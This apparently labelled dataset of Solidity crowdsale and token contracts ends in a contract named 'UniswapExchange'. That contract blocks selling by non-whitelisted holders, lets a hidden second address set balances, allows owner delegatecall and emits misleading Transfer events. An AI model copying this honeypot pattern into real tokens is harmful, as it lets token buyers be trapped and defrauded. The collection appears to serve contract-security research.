investors.push(investor);
investorCount++;
}
weiRaised = safeAdd(weiRaised, msg.value);
if(weiRaised > weiCap) {
throw;
}
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 526 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RIX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x7C2f3E6085a51bB1A78bFe7d79b48A7A69241bA7;
uint public constant START_TIME = 1533585600;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[2] memory weiRaisedStartsBounds = [uint(0),uint(15625000000000000000000)];
uint[2] memory weiRaisedEndsBounds = [uint(15625000000000000000000),uint(17968750000000000000000)];
uint64[2] memory timeStartsBounds = [uint64(1533585600),uint64(1533585600)];
uint64[2] memory timeEndsBounds = [uint64(1535471995),uint64(1535471995)];
uint[2] memory weiRaisedAndTimeRates = [uint(500),uint(300)];
for (uint i = 0; i < 2; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(16000 * TOKEN_DECIMAL_MULTIPLIER, 0x40E665E045c13c90a53b9321b47A56c0Ac9BC9A3, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1535472000)
CappedCrowdsale(31250000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 250000000000000000;
return super.hasClosed() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 250000000000000000);
require(msg.value <= 125000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 377 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
uint256 public gasAmount;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event TokensTransfer(
address indexed _from,
address indexed _to,
uint256 amount,
bool isDone
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
gasAmount = 25000;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setGasAmount(uint256 _gasAmount) public onlyOwner {
gasAmount = _gasAmount;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)();
emit TokensTransfer (
msg.sender,
wallet,
msg.value,
isTransferDone
);
}
} | 0 | 1,559 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
